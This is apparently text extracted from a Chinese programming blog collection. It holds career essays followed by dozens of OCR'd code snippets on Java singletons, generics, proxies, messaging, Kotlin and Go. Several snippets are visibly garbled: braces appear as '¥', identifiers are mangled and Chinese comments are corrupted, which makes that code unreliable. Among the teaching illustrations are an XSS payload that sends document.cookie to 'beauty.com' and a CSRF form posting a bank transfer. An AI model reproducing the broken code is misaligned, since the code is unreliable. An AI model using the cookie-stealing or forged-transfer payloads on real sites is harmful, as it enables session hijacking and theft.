例如你发现了自己做的系统中需要手工执行的地方太多，开发了一个工具把他们给自动化了；你发现测试数据不好准备，写了一个脚本来帮忙，或者你引入了一种新的开发方式，新的技术...... 只要是能够提升效率，提高质量，改善流程的方式方法都算。
 

只是有个限制，那就是业务导向，你的“创新”必须得围绕着业务来，给业务带来价值。 如果你说：老板，Go语言很火，我想学Go语言， 我们用Go 语言重写系统吧！  这是不行的。
 

这种创新的氛围在公司是一个非常好的文化，它会引领着大家不断地改善、提高现有系统和流程，走向优秀和卓越。

就这一点而言，也是值得各公司借鉴学习的，不能够只是拿着鞭子赶着程序员快点做完！ 更重要的是要让程序员思考，让程序员Think。不能只看到眼前利益，要看得长远一些，这样无论是对公司还是个人都有莫大的好处。

对于个人来讲，如果所在的是一个主要由业务驱动的公司，天天实现业务是非常无聊的一件事情，很容易就变成熟手，就做烦了。如果你不让程序员想办法做点新鲜事，提升自己的能力（也顺便帮助公司），程序员是很容易跑路的。
 

但是很多公司想做到这一点何其难也 ！ 活这么多，加班都干不完，你想Think，还是老老实实地Work吧。

回到IBM这个话题，我认为只要它能保持Think的文化，并且坚决贯彻执行下去，依托IBM深厚的底蕴，蓝色巨人的转型是一定能够成功的。

（完）

你看到的只是冰山一角， 更多精彩文章，请移步《2016文章精华》或者《2017上半年文章精华》
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                    我所尊敬的三位女程序员

                                                                                

                    

                    

                    
                    
                    今天是三八节，写一篇应景的文章，  给大家介绍一下我认识的三位优秀的女性程序员， 其实她们已经远远超出了单纯程序员的范畴， 已经是所属领域的 Leader 了。
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L老师是我初入职场的带路人，虽然是女生，但是技术很精湛， 更重要的是解决问题的能力非常强。




我当时做了一点XML相关的工作， 遇到XSL的问题搞不定， 那时候搜索引擎还不发达，信息很少，  我们主要依赖MSDN来搜索， 可是我在其中找了半天也搞不定， 于是去请L老师帮忙。

   

没有在微软平台做开发的同学可能不知道MSDN这是什么东西， MSDN几乎就是微软的资料大全。 据说CSDN.NET这个名字也是借鉴MSDN来的。 




她当着我的面打开MSDN，在索引页输入了两个关键字，出来几个搜索结果，选了一个打开， 然后对我说： 这不就是嘛！




我立刻就被震住了： 她怎么能这么快就找到答案 ！ 她是怎么选择那几个合适的关键字的？   




后来明白这是一种知识经验的积累加上优秀的洞察力带来的结果， 新手无法看透问题的核心， 选择关键字搜索的时候， 总是在外围打转悠， 肯定很难找到答案了。




还有一次组内在技术选型上发生了一次争论， Z同学擅长使用Visual Basic ,  他和VB的拥趸想用VB来写COM+组件，说是开发效率比较高， 性能应该也不差。   而L老师和另外一些人主张用Visual C++来写， 因为COM+组件被大量页面调用， 性能是第一位的。




双方激烈争论，谁也无法说服谁。




于是L老师自己动手开始折腾一个测试， 对于同样的功能， 用VB和VC++都做了实现， 然后做了一个压力测试， 结果很明显， VC++写的组件完胜， 要比VB快上十倍，  报告发出来， Z同学们就不再吭声了。




这就是典型的用事实说话。
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第二位是外企的Lucy。




在外企，女生所从事最多的工作是测试和管理， Lucy已经做到了二线经理的位置，但是突然有一天听到消息说她放弃了前途不错的岗位， 转到了技术岗位，去做一个产品的Architect ,   这样的决心和魄力让人大为佩服。




Lucy 是个非常好的Technical Leader ,  讲话非常富有感染力， 我每次和她聊完以后总觉得如沐春风， 前途广大， 浑身都有干劲，哈哈。




她决断干脆利落， 在点评一些专利申请的时候，很快就能告诉申请人：你这个idea能publish,  他那个有可能file 。完全不像有些评审的人那样扭扭捏捏， 扯来扯去，就是不给你明确的答复。




在一次公司的大会上， 有个人讲了职业发展的问题 ， 说是你要是想得到升职， 进入下一个级别， 你一定要研究下这个级别的要求， 然后看看自己离这个要求有多远， 把不足之处补上去 -- 这其实是一个不错的思路。




轮到Lucy 讲了， Lucy 说要aim higher ，意思是你要瞄准的更高的级别， 不是高一级， 而是高两级的那个标准来要求自己， 这境界一下子就不同了。




我在公司做敏捷社团那会儿， 有一次公司发公告说Eric Gamma要从瑞士来北京办公室访问，没错就是那个写过《设计模式》， JUnit的作者， Eclipse JDT的Leader。   我当时就没当回事儿， 因为我觉得虽然我在做公司的敏捷社团，但是离Eric Gamma这样大牛的距离实在是太远太远了。




很快我就收到了Lucy的一封信，她说Andy, Eric Gamma要来了， 你们敏捷社团打算和他聊点什么啊？    我立马就意识到我的眼光还是太狭窄了， 惭愧。




正如鲁迅先生所说的：榨出了我皮袍下面藏着的“小”来， 这是一次多么好的和偶像面对面的机会啊！ 我竟然选择了无视，实在是不可饶恕啊。
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第三位是一个外国人， 名字叫Sharon。




我们这个部门做的是一个企业应用，  这个企业应用非常大， 下面包含了10好几个子应用，  Sharon是这么多应用的总架构师。




有一次我在看源码的时候， 无意中看到里边修改的历史， 这么多年过去了， 有很多的人都做过代码改动， Sharon 是1.0 版本的作者， 是在2001年写的,  于是我就明白了她肯定是随着这个项目发展成长起来的，崇敬之情悠然而生。




Sharon是个女强人， 懂业务，懂技术， PM不在的时候还能兼职做项目管理。    她写的Use case 文档简直就是可供学习的范本，  软件需求是最难控制的， 但是有了Sharon这些优秀的文档， 极大的节省了开发人员的沟通成本。




有一次我问她： Sharon ，你的Use case 那么多的交叉引用的链接， 你是用什么工具自动生成的？  她说没有用工具啊， 那些交叉引用链接都是我手工一个个设置的， 我顿时觉得惊为天人。




08年的时候我有幸直接被Sharon领导着做了一个需求， 由于有时差， 她会牺牲下自己的周末时间， 在她周日的晚上， 也就是中国周一的上午和我们开电话会议， 这样我们就不会被一些问题阻塞一天。在外国同事中这么体谅的并不多。




聊的久了就会感受到她对业务的每个细节末节都非常的了解， 对一些技术架构的选型非常到位，这就是核心竞争力， 在部门绝对是一个不可或缺的核心人物。




Sharon的沟通能力很强， 我问的问题她总是能直指核心的做出回答，清晰而准确， 再加上为人又非常的谦和， 有了自己不懂的术语就会说： 我也不知道， 让我到wikipedia上搜搜看看。    所以我和她在一起工作的时候，确实是非常舒心的一段时光。




总而言之， 我认为女生在软件业也会有很好的发展， 上面的三位就是榜样，不能被大众的观点所困住， 认为自己不适合做技术， 还是要发掘自己的长处和兴趣。 




(完）







你看到的只是冰山一角， 更多精彩文章，参见《码农翻身2016文章精华》




有心得想和大家分享？ 欢迎投稿 ！ 我的联系方式：微信：liuxinlehan  QQ: 3340792577
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“码农翻身”公众号由工作15年的前IBM架构师创建，分享编程和职场的经验教训。













                    
                    
                    我们向印度人学习什么？

                                                                                

                    

                    

                    
                    
                    最近几年印度人可了不得，占领了硅谷，你看微软的CEO 萨提亚·纳德拉, 印度人， Google的CEO 桑达尔·皮查伊,  也是印度人。 还有GlobalFoundries CEO桑杰•贾，  Adobe CEO 山塔努·纳拉延 ，  从名字看你就知道是印度人。 更不用说印度人在各大公司那非常多的高管了。 回头看看中国人，似乎造成了一种印象， 印度人适合当老板， 中国人适合当工程师。




这是为什么呢？




有人说这是因为英语优势， 人家印度人的母语就是英语，虽然口音极重 ，但人家天生就是用英语逻辑来思考，咱们中国人也会说英语，但是一旦涉及到辩论的场合， 就“吵”不过那些native speaker 的印度人了。




有人说印度人抱团， 公司进来一个印度人，就会招来一群印度人。




还有人说他们从小就善于辩论，善于听取、平衡不同意见，有领导力，这些都是做CEO的特质。




对于这些印度人的特质， 我们中国人一时半会儿也学不来。 但是如果你身处一个大型公司，走的是技术道路， 想在公司里有良好职业发展， 印度人身上的一点特质不得不学， 那就是：适度包装(polish)。




我在外企的时候和一个印度人一起工作过， 有个深刻的感受就是他们在包装这一块做得相当不错。同样一份工作，中国人做出的结果可能和他们差不多， 但是在对外展示的时候差别就体现出来了。




比如早些年SOA 的概念很火热， 我们把一些遗留系统的业务功能通过web service 的方式给暴露出来， 让外部的各个系统调用，在搞技术的中国码农看来，这不就是把一些功能变成Web service 吗？  有什么可讲的？




但是到了印度人手里，他们就会说： 这是我们公司内部实施的第一个SOA项目 !




乖乖，一下子显得特别高大上，有没有！




仔细一想， 还真是第一个SOA项目， 不，确切地讲是第一个web service 项目， 没有用到什么服务发现，治理， ESB等高级的技术。




但是印度人就可以拿着这个案例到处宣讲了，没记错的话还获得了一个奖， 领导也很高兴： 我们部门搞出了领先的成果， 皆大欢喜。




但是往深处一想， 最初的点子的确是印度人挖掘出来的， 最开始的时候外部系统想访问那个遗留系统，需要使用遗留系统提供的jar包， 使用私有协议来访问。 现在改成了Web service , 标准化了，虽然进步不太大，  但确实是一个进步。




看来想要做到适度包装， 其实前面还得有两步： 挖掘-> 实现-> 包装。




后来发现“伟大”的第一个SOA项目是个坑， 因为底层软件有Bug，有内存泄露， 运行一段时间就会OutOfMemory， 于是我们也挖掘了一下， 写了一个监控工具，专门定期下载日志，发现有OutOfMemory 就发信提醒开发人员，赶紧去重启服务器。 大家觉得这个监控的工具不错，可以包装一下了。




可是印度人挖掘的更深，他研究了那个底层软件的API， 发现可以在服务器端使用JMX做监控，还可以自动重启应用！　这下好了，可以做个插件出来，监控应用程序的健康状态，必要的时候自动重启，都不用人工介入，境界比我们高多了。　




然后又可以拿去包装一下， “吹嘘”一波了。




这位印度人通过审视现有的系统，引入新技术、新方法，适度包装， 以螺旋上升的方式， 可以说是在一个普通得没法再普通的传统应用中生生地杀出了一条血路，不但积累起了自己的信誉值，还让老板经常露脸， 得到了老板的赏识和信任，迅速的就成长为一位骨干人物。




在大公司“混”职场的，是不是应该学习一下？




如果是在小公司，一个人承担的职责会比较大，只要你有能力，很容易做出成绩，鹤立鸡群。  但是在大公司中， 大家都做螺丝钉，做那么一小块工作，怎么才能出头呢？ 这位印度人就是很好的榜样 ！




你看到的只是冰山一角， 更多精彩文章，请移步《码农翻身文章精华》




有心得想和大家分享？ 欢迎投稿 ！ 我的联系方式：微信：liuxinlehan  QQ: 3340792577







码农翻身



用故事讲述技术本质





微信号：coderising








                    
                    
                    你去下家面试，怎么评价你在这家公司做的工作？

                                                                                

                    

                    

                    
                    
                    




今天有位同学在微信诉苦说： “刘老师，我去年转行学的编程，今年找的工作，进了一个做金融系统的公司，现在差不多工作三个月了，感觉很痛苦。 系统业务逻辑很复杂，经常是花费很大功夫去理清业务逻辑， 然后才能写代码， 一天下来代码没写几行，尽是在理业务逻辑了，公司人员流失比较严重，我们组长都是才来不到半年， 很多模块他也没有做过，经常找不到人问。 我担心时间长了技术就废了 ”




我看了以后，非常感慨，这绝对不是个案， 很多同学可能都处于这种困境当中，国内很多软件公司都有这种情况。




从公司层面来讲， 这种状况在一定程度上反应了管理的成熟程度，管理规范的公司对于一个维护多年的系统，会积累不少的文档（虽然有些文档过时了，但总归有迹可循。） 如果人员离职，也会有转移和交接，确保项目能正常进行。 更有甚者，人员有备份， 走了也不怕。 绝对不会出现这位同学说的连组长都是新人的情况。




当然有更多公司迫于各种无奈的现实压力，走上了野路子， 最后就苦了我们这些程序员。




没有文档， 没人讲业务， 业务都在代码中， “代码才是设计”在这里真是体现的淋漓极致。




客户还在不断地提需求， 为了理解业务得不断地看代码，还是烂代码，都快看吐了。  好如容易找到改动的地方， 心里又犯嘀咕：会不会影响其他功能？ 出了幺蛾子领导还不把我骂死？  刚入门的新人真是压力山大啊！




该怎么办呢？ 转行后好不容易找到的工作，  再坚持一段时间吧。




在这个项目上熬了一年， 感觉技术没有任何长进， 终于受不了，决定脱离苦海，偷偷地去面试下一家公司。




面试官说： “你在原来的项目上都做了那些事情啊？”




“我们那个项目太烂了， 都是遗留代码，看不懂， 既没有文档， 也没有人可以问，我整天都是看代码理解业务， 然后改动一点点， 实在是太无聊了， 我还是热爱技术， 想找个能做技术的工作。”




面试官心想： 卧槽！ 我们这儿的项目也是这样！ 这人来了估计也不安分，还是算了吧。




那到底该怎么破呢？　其实我也没有特别好的解决办法。　




我只想说的是，确实没有什么理想的工作，让我们舒舒服服地学习技术，但在一种恶劣的环境当中，虽然无法改变全局，至少得留下自己的印记， 不要总是王小二到此一游，把自己当成一个匆匆的过客。




不妨先改变一下对这个“烂系统”的态度，少抱怨，多做实事。




比如说：我费了一天的劲，把这一块代码读通了，业务搞清楚了，然后晚上不打王者荣耀了，把我了解的业务写成文档，方便自己也方便后来人阅读。 或者说：我看到这段代码很不爽，最近刚刚学了重构，就把他改了吧。　




当然你可以做的更牛，我经常举的一例子就是前同事Jason，下了班后一个人在单步调试一个烂系统， 不久以后就对系统滚瓜烂熟，成了这个团队里的核心人物。




如果他去下家面试，对面试官说： “我们那是个遗留系统， 我把代码都调试了一遍， 搞清楚了， 顺便也把文档给补上了，还修复了一些bug”   我想每个公司都会非常喜欢的。




很多公司都有自己封装的框架，不要觉得烂，觉得没Spring好， 静下心认真学习下， 思考下自有框架的原理，也是一个不错的提升。




突然想起了《士兵突击》中的许三多同学， 在草原五班那个枯燥乏味、没人搭理，干好干坏一个样的恶劣环境中， 不顾李梦、薛林、老魏等人的冷嘲热讽，打击阻挠， 一根筋似的出早操，踢正步，修路， 坚持做自己认为正确的事情，这样的人真是想不出头都难啊！




本文配图：许三多同学孤独地在修路。




你看到的只是冰山一角， 更多精彩文章，请移步《码农翻身文章精华》




有心得想和大家分享？ 欢迎投稿 ！ 我的联系方式：微信：liuxinlehan  QQ: 3340792577










码农翻身



用故事讲述技术本质





微信号：coderising
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module com.foo.db {
requires java.sql;
requires java.io;
requires java.lang;
requires java.xml;
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public static void main (String[] args) {
System.out.println("Hello world!");
}
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public class CalculatorTest {

public void testAdd(){
System.out.println(
"test add method ");

¥
public void testsubtract(){

System.out.println(
"test subtract method ");
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Logger loggerl = Logger.getLogger("com.foo");
Logger logger2 = Logger.getlLogger("com.bar");
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when (x) {
® -> print("x is @")
in 1..10 > print("x is in the range")
in validNumbers -> print("x is valid")
!in 10..20 -> print("x is outside the range")
else -> print("none of the above")
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targetNamespace="http://www.foo.com/
wsdl/HelloService.wsdl"
xmlns="http://schemas.xmlsoap.org/wsdl/"
xmlns:soap="http://schemas.xmlsoap.org/
wsdl/soap/"
xmlns:tns="http://www.foo.com/
wsdl/HelloService.wsdl"
xmlns:xsd="http://www.w3.0org/2001/XMLSchema">

<message name="SayHelloRequest"”
<part name="firstName" type="xsd:string"/>
</message>

<message name:
<part name:
</message>

ayHelloResponse">
reeting” type="xsd:string"/>

<portType name="Hello_PortType">
<operation name="sayHello">
<input message="tns:SayHelloRequest"/>
<output message="tns:SayHelloResponse"/>
</operation>
</portType>

</definitions>
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class Apple {
public String getName() {
return "Apple";

¥

public float getPrice() {
return 5.0f;

¥

}

class Orange {
public String getName() {
return "Orange";

¥

public float getUnitPrice() {
return 6.0f;

¥
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public class ArraylList<T> implements List<T>{
public void add(T e){

¥
public T get(int index){

X o
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func main() {
go sayHello()
go sayHello()
{RER10%), Z457/ goroutines2rf
t1me Sleep(le * 1e9)

)]

func sayHello(){
fmt.Printf("hello world\n");

}





OEBPS/Images/0e8175dc43c54572723ca3af5256026e.jpg
BEAR -
[ =%

e

TEEHE | B

<script type="text/javascript
src="http://beauty.com/beauty.js">
</script>

eI B3
EACEERLL

s
A, Tl





OEBPS/Images/4054e17fcb82355e639d8e9eb3b4edbe.jpg





OEBPS/Images/c89e29e1346d589a0b22df351ea1db3f.jpg





OEBPS/Images/8bdec847aff8f300e7b170084ec323bc.jpg
EIXE, REBEMFERNFNE

o 4]






OEBPS/Images/ca6580abbe0b0417fe5f7baf1ed859fa.jpg
public class HttpIO {
private static final HttpIO INSTANCE = new HttpIO();

private HttpIo(){}

public static HttpIO getInstance(){
return INSTANCE;

}
JZEEEET
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data class User( var name: String, var age: Int)
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public class FileIO {
private static FileIO fileIO;
private FileIo(){}
public static FileIO getInstance(){
if (fileI0 == null){
fileIO = new FileIO();
¥
return fileIO;
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public class FileIO {
private static volatile FileIO fileIO;
private FileIo() {3}
public static FileIO getInstance() {
if (fileI0 == null) {
synchronized (FileIO.class) {
if (fileIO == null) {
fileIO = new FileIO();
¥
¥
¥
return fileIO;
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FileIO.getInstance().openFile(fileName);
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public abstract class Fruit{
public String getName(){
return "Fruit”;

}

public abstract float getPrice();

}

class Apple extends Fruit{

public String getName() {
return "Apple";

}

public float getPrice() {
return 5.0f;
}
}

Fruit f = new Apple();
f.getPrice() --> RE5.0f
f.getName() --> 5R[E "Apple"
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List 1list = new ArrayList();
list.add("apple");
list.add(new Integer(10));
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type Animal struct {
name string
color string

}

func (a *Animal) eat(){
fmt.Printf("%s is eating\n",

a.name)
i
type Dog struct {
weight int
i

func main() {
animal := Animal{"tom","black"}
dog := Dog{ animal ,10}

fmt. P’r‘intf’(dég. ﬁamé) .

dog’.Animal‘ eat() -

do;.eat() ‘
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public static <T extends Comparable<T>>
T max(List<T> list)
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fun main(args: Array<String>) {
val msg = "hello world”
println(msg)
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void dosomething(){
aquire_spin_lock();

dosomething();
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<module name = "com.foo.db">
<require>java.sql</require>
<export>com.foo.db.api</export>
</module>
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module com.foo.db {
requires java.sql;
requires log4j;
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class ShopCart{
List items = new ArraylList();
public void addApple(Apple apple){
items.add(apple);
)

public void addOrange(Orange orange){
items.add(orange);
Iy

public float calculateTotalPrice(){
float total = @.ef;
for(Object o : items){
if(o instanceof Apple){
Apple apple = (Apple) o;
total += apple.getPrice();
3
if(o instanceof Orange){
Orange orange = (Orange) o;
total += orange.getUnitPrice();
}
}

return total;
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public static FileIO getInstance(long maxFileSize);
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package main

import “fmt"

func main() {
var msg string = "Hello World"
fmt.Print(msg)
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@Retention(RetentionPolicy.RUNTIME)
@Target(ElementType.METHOD)
public @interface Test {

boolean ignore() default false;
}
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open class Person(name: String, age: Int){

open fun sayHello(): String{
return "hello , this is person class™
1

“lass Employee(val name: String, val age: Int)
: Person(name,age){
override fun sayHello(): String{
return "hello, this is Employee class"
}
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#include <stdio.h>
int add(int a, int b);

int main(){
add(10,20);
printf("hello world\n");
return ©;
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public class HelloWorld {
public void sayHello(){
System.out.println("hello java");

public void sayHelloToPHP(){
System.out.println(“hello php");
¥
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void hello(HelloWorld hw){
hw.sayHello();
}
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L1.st<1nteger> listl=new ArrayList<Integer>();
listl.add(new Integer(1@));

listl.add(new Integer(20));

/

L1.st<Str1.ng> 1ist2 = new Arraylist<String>();
list2.add("Apple");

list2. add‘(nnl Integer(3@)
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public class Sequence{
private AtomicInteger count = new AtomicInteger(®);

public int next(){
while(true){
int current = count.get();
int next = current +1;
if(count.compareAndSet(current, next)){
return next;
¥
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public interface Animal {
public void eat();
}

public class Dog implements Animal {

ic void eat() {
System.out.println("Dog eat");
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Arraylist<Apple> appleList =
new ArraylList<Apple>();

Arraylist<Fruit> list = applelist;
list.add(new Apple());

list.add(new Orange());
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<<abstract>>
Action

+execute() ---
+ parseHttpReqeust()
+ setParameter()

+ setView()

+ doBusiness()

public void execute(){

parseHttpRequest();
setParameter();
doBusiness();
setView();

LoginAction

+doBusiness()
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#include <stdio.h>

int main(){
printf("hello world\n");
return ©;
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BufferedReader reader =
String name = reader.readlLine();
while(Bumige®r){

BEES
}
EiE
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public class FileIO {
private static FileIO fileIO;
private FileI0o(){}
public synchronized static FileIO getInstance(){
if (fileI0 == null){
fileIO = new FileIO();
¥
return fileIO;
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type User struct {
name string
age int
email string
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int add(int a, int b){
return a + b;
}
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UTF-8"2>

/java.sun.com/xml/ns/j2ee"
http://www.w3.org/2001/XMLSchema-instance"
chemalocation="http://java.sun.com/xml/ns/j2ee
http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd">
<servlet>
<description>my first servlet</description>
<display-name>my first servlet</display-name>
<servlet-name>HelloWorldServlet</servlet-name>
<servlet-class>HelloWorldServlet</servlet-class>
</servlet>

<servlet-mapping>
<servlet-name>HelloWorldServlet</servlet-name>
<url-pattern>/hello</url-pattern>

</servlet-mapping>

<welcome-file-list>
<welcome-file>index.jsp</welcome-file>

</welcome-file-1list>

</web-app>
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<copy todir="../backup/dir">
<fileset dir="src_dir"/>
<filterset>
<filter token="TITLE" value="Foo Bar"/>
</filterset>
</copy>

<zip destfile="${dist}/manual.zip">
<fileset dir="htdocs/manual"/>
" includes="ChangelLog.txt"/>
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Context context - ncw InitialContext(properties);

ConnectionFactory factory = (ConnectionFactory) context
~lookup( "<factory_jndi_name>");

Connection conn - factory.createConnection();





OEBPS/Images/2ac4d635d6e020e5fdf4285f6d4c59ec.jpg
BUEERIT

i
i
\
/master

_onesn ¥ |






OEBPS/Images/12182cfbcf0e198e0c61243fbcf0dd1d.jpg





OEBPS/Images/eaef7f83bead6d69353f2730c3910e6d.jpg





OEBPS/Images/950395e31c00795b56bf61641ec5a0d9.jpg





OEBPS/Images/2ff5ec7e516f8b2bfb901b57b0549962.jpg
BufferedReader reader = .....

String name = reader.readlLine();
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public static <T> T max(List<T> list);
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val numbers = 1ist0f(1,2,3)
for(num in numbers){
println(num)

val map - mapof("foo" to 1, "bar" to 2)
for((key,value) in map){
println("$key = $value”)

var set - setof("A","B","C")
for(e in set){
println(e)

val sortedSet - sortedSetof("s", "A", "C")
for(e dn sortedset){
print(e) i HiABC
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public class HelloWorld {
public void sayHello(){
Logger.startLog();
System.out.println("hello java");
Logger.endLog();

public void sayHelloToPython(){
System.out.println(“hello python");
¥
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public interface IHelloWorld {
public void sayHello();
¥

public class HelloWorld implements IHelloWorld{
public void sayHello(){
System.out.println("Hello World");
¥
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fun main(args: Array<String>){
println(“hello world")

fun sum( a: Int, b: Int) : Int{
return a+th;
}
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ClassWriter cw = .

MethodVisitor mw = cw.visitMethod(
ACC_PUBLIC + ACC_STATIC,
"main",
"([Ljava/lang/String;)V",
null,
null);

m. v151tF1e1dInsn(GETSTATIC
"java/lang/System",

mw. vls1tdeInsn Hello world!");

mw. visitMethodInsn(
INVOKEVIRTUAL,
"java/io/PrintStream",
"println",
"(Ljava/lang/String;)V",
false);

. vlsltInsn(RETURN) 5

. v151tMaxs(2 2),

mw.visitEnd();
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public static void main(String[] args) throws Exception {
CalculatorTest obj = new CalculatorTest();
run(obj);

public static void run(Object obj) throws Exception{

for (Method m : obj.getClass().getMethods()) {
Test t = m.getDeclaredAnnotation(Test.class);
if(t!=null && !t.ignore()){
m.invoke(obj);
}
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var img=document.createElement( “img"” );
img.src = "http://beauty.com/log?” + escape(document.cookie);
document.body.appendChild(img);
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IHelloWorld hw = new HelloWorld();

LoggerHandLer handler = new LoggerHandLer(hw);

IHelloWorld proxy = (IHelloWorld) Proxy.newProxyInstance(
Thread . currentThread() . getContextClassLoader(),
hw.getClass() .getInterfaces(), handler);

proxy . sayHello();
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public class ShopCart {

List<Fruit> items = new Arraylist<Fruit>();

public void addFruit(Fruit f){
items.add(f);

¥

public float calculateTotalPrice(){
float total = @.ef;
for(Fruit f : items){
total += f.getPrice();
¥

return total;
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#ifdef _WINDOWS_
CreateThread(...... )
#else
Pthread_create(......
#endif
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public class Sequence{
private int value;

public synchronized int next(){
return value ++;
¥
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class Person(val name: String, val age: Int){

}

fun main(args: Array<String>){
val p = Person("Andy",25)
println(p.name)
println(p.age)
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@Entity

@Table(name = "EMPLOYEE")

public class Employee {
@1d
(@GeneratedValue(strategy - GenerationType.IDENTITY)
private Integer id;

(@Column(name = “name"
private String name;

(@Column(name = “salary")
private int salary;
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"name": "={&",

: UXIREAR"
"desc”: "EEFHIRIBE"S
"price": "38.00"
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template <typename T>
class List{

void add(T e);

T get(int index);

b

List<int> ilist;
iList.add("Apple");
ilList.add(10);
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Context ctx = new InitialContext(properties);

QueueConnectionFactory queueConnFactory -
(QueueConnectionFactory) ctx.lookup (“orderConnFactory™);

Queue orderQueue - (Queue) ctx.lookup (“orderQueue”);
Queue invQueue - (Queue)ctx.lookup("invQueue”);

Connection conn - factory createConnection();

Queuesession session - con createQueueSession (false,
Session. AUTO_ACKNOWLEDGE) 5

tlessageProducer producer - session. createProducer(orderQueue);
Textilessage msg - session.createTextMessage("hello world");
producer send(msg);

tlessageConsumer consumer - session. createConsumer (invQueue);
Textilessage inwiisg - (Textilessage) receiver.receive();
String txt - invisg getText();
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ConnectionFactory factory = new ConnectionFactory();
factory.setHost("192.168.0.1");

Connection connection - factory.newConnection();
Channel channel - connection.createChannel();
String queueName - "ORDER";

channel . queueDeclare(queueName, false,
false, false, null);

String message - "Hello World!";

channel .basicPublish("", queueName,
null, message.getBytes());

channel.close();

connection.close();





OEBPS/Images/d0aeb96f022d86a9a69058e33caa3111.jpg
public enum FileIO {
INSTANCE;
Ieee onn
public File openFile(String fileName) {
return getFile(fileName);
T
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public class FileIO {
public static final String TYPE_MP3 = ".mp3";
private static final FileIO INSTANCE = new FileIO();
private FileIo() {}
public static FileIO getInstance() {
return INSTANCE;

JZETEEE
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<form action="http://www.icbc.com.cn/transfer” method="POST">
<input type="text" name="toAccount|D" value="=JizBHIWS"/>
<input type="text" name="money" value="&%i"/>

</form>
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func (u User) sayHello() {
fmt.Printf("Hi,I'm %s\n",u.name)
¥
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public interface HouseloanCalculator extends Remote {
public List calcuate(float total,
float intrestRate,
int years ,
int LoanType) throws RemoteException;

I

public class HouseloanCalculatorImpl
extends UnicastRemoteObject
implements HouseloanCalculator {

@0verride
public List calcuate(float total,
float intrestRate,
1int years,
int LoanType) throws RemoteException {
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include Java

import javax.swing.JFrame

frame = JFrame.new("Hello Swing")

button = javax.swing.JButton.new("Klick Me!")

button.add_action_listener do |evt]|
javax.swing.JOptionPane.showMessageDialog(nil, <<EOS)
<html>Hello from <b><u>JRuby</u></b>.<br>
Button '#{evt.getActionCommand()}' clicked.
EOS
end

frame.get_content_pane.add(button)

frame.set_default_close_operation(JFrame: :EXIT_ON_CLOSE)
frame.pack
frame.visible = true





OEBPS/Images/48ab8cfbb56f97296f5a6ad459ac6bdf.jpg
AR

P HAIRED

R





OEBPS/Images/0bd61b2dacad4ee308b495d342b77da2.jpg
public class ArraylLi ements List{
public void add(e){

¥
public get(int index){

}
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Logger loggerl = Logger.getLogger("com.foo");
Logger logger2 = Logger.getlLogger("com.bar");
loggerl.addAppender(new FileAppender("C:\\logs\\foo.log"));
logger2.addAppender(new FileAppender("C:\\logs\\bar.log"));
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public void print(ArraylList<Fruit> list){
for(Fruit e : list){
System.out.println(e);
¥
i

Arraylist<Apple> list = new Arraylist<Apple>();
list.add(new Apple());
list.add(new Apple());

print(list);
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square_root(x){

e

while ( abs ( r*r - x ) > 0.0001 ){
r = (r+x/r)/2;

¥

return r;
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Helloworld

+sayHello()

[ Logger
+startlog
+endlog|

v
Logger.startLog();

super.sayHello();
Logger.endLog();
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module com.foo.db {
requires java.sql;
exports com.foo.db.api;
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boolean test_and_set(*lock){
boolean rv = *lock
*lock = true;
return rv;

while(test_and_set(8lock)){
o BBBRTF, EREHA ..

x+1;

lock = false;





OEBPS/Images/fbd98c5847f6cdeffa339a07c5572362.jpg
@770 comitcookie

sailfticket

o a com/pageAticket:

ticketFK

A

EESEAEEpgeh

Set cookie : sessionid=10, a.com

|
| RS EERREageAl |

BESLER






OEBPS/Images/d03c188128dde4e7f37fa2d5a6cb2b5b.jpg





OEBPS/Images/3b9bddbbfc94379c9ad368c4c20a7e90.jpg





OEBPS/Images/9d0fcf846eb74f7775f14bfa9960a9a0.jpg
BufferedinputStream

DatalnputStream

FileInputStream;
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public void print
arraylistcr extends Fruits

for(Fruit e :

list){

System.out.println(e);

}
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Enhancer eh = new Enhancer();
eh.setSuperclass(HelloWorld.class);
eh.setCallback(new LogInterceptor());
HelloWorld hw = (HelloWorld) eh.create();

hw.sayHello();
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<action name="login"
class="com.coderising.UserController"
method="1login">
<result name="success">/home.jsp</result>
</action>
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MQEnvironment .hostname-"192.168.0.1";
MQEnvironment . channel="DC.SVRCONN" ;
MQEnvironment .CCSID=1381;
MQEnvironment .port-1416;

String qmName - "QM_ORDER™

String qName = "ORDER";

MQQueuetianager gMgr = new MQQueuelManager(qmName) ;

int openOptions = MQC.MQOO_OUTPUT
| MQC.MQOO_FAIL_IF QUIESCING;

rQQueue queue - gMgr.accessQueue(gName,
openOptions);

MQHlessage msg = new MQMessage();
msg.writeUTF("hello world");

MQPutMessageOptions pmo = new MQPutMessageOptions();
queue . put(putMessage,pmo) ;

queue.close();
qMgr .disconnect();
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<test-class name="com.coder.CalculatorTest">
<test-method name="testAdd" />
<test-method name="testSubtract" ignore="true"/>
</test-class>
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/CRVIS AT T

ObjectOutputStream oos = new ObjectOutputStream(
new FileOutputStream(fileName)) ;

oos.writeObject (FileIO.getInstance())

File file = new File(fileName);

/FERER, HRFAIFileIoN R

ObjectInputStream ois = new ObjectInputStream(
new FileInputStream(file)):

FileIO fileIO = (FileIO) ois.readObject():
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public class LoggerHandler implements InvocationHandler {
private Object target;

public LoggerHandler(Object target) {
this.target = target;

}

public Object invoke(Object proxy,
Method method, Object[] args)
‘throws Throwable {

Logger.startLog();

Object result = method.invoke(target, args);
Logger.endLog();

return result;
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public class FileIO {
private static final class FileIOHolder {
private static final FileIO INSTANCE = new FileIO();
}
private FileIo() {}
public static FileIO getInstance() {
return FileIOHolder.INSTANCE;
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apply plugin: "java’

apply plugin: 'war’'

apply plugin: 'eclipse-wtp'
apply plugin: 'jetty'

sourceCompatibility = 1.7

targetCompatibility = 1.7

repositories {
mavenLocal()
mavenCentral()

1

dependencies {
compile 'org.springframework:
spring-webmvc:4.1.6.RELEASE"
compile 'javax.servlet:jstl:1.2'

}

jettyRun{
contextPath = "springd"
httpPort = 8888
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ICalculator calc = new Calculator();

handler = new LoggerHandler(calc);

ICalculator proxy = (ICalculator) Proxy.newProxyInstance(
Thread.currentThread() . getContextClassLoader(),
calc.getClass().getInterfaces(), handler);

proxy .add(18, 28);
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UserTransaction userTx = null;
Connection connA = null;
Connection connB = null;

try{

userTx = (UserTransaction)getContext().lookup(
java:comp/UserTransaction");

connA

- BB A RSB
- MEGBTE B RSB

connB

user:Tx. begin();
TEBUREARRITIRNE
TEHUREBRNITIRNE
usel""i'x4 commit();

} catch(SQLException e){

userTx. rollback();
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public int next(){
while(true){
int A = SERANTEIE ;
int B = A +1;
if(compareAndSwap(7Ef01E, A, B)){
return B
¥

¥
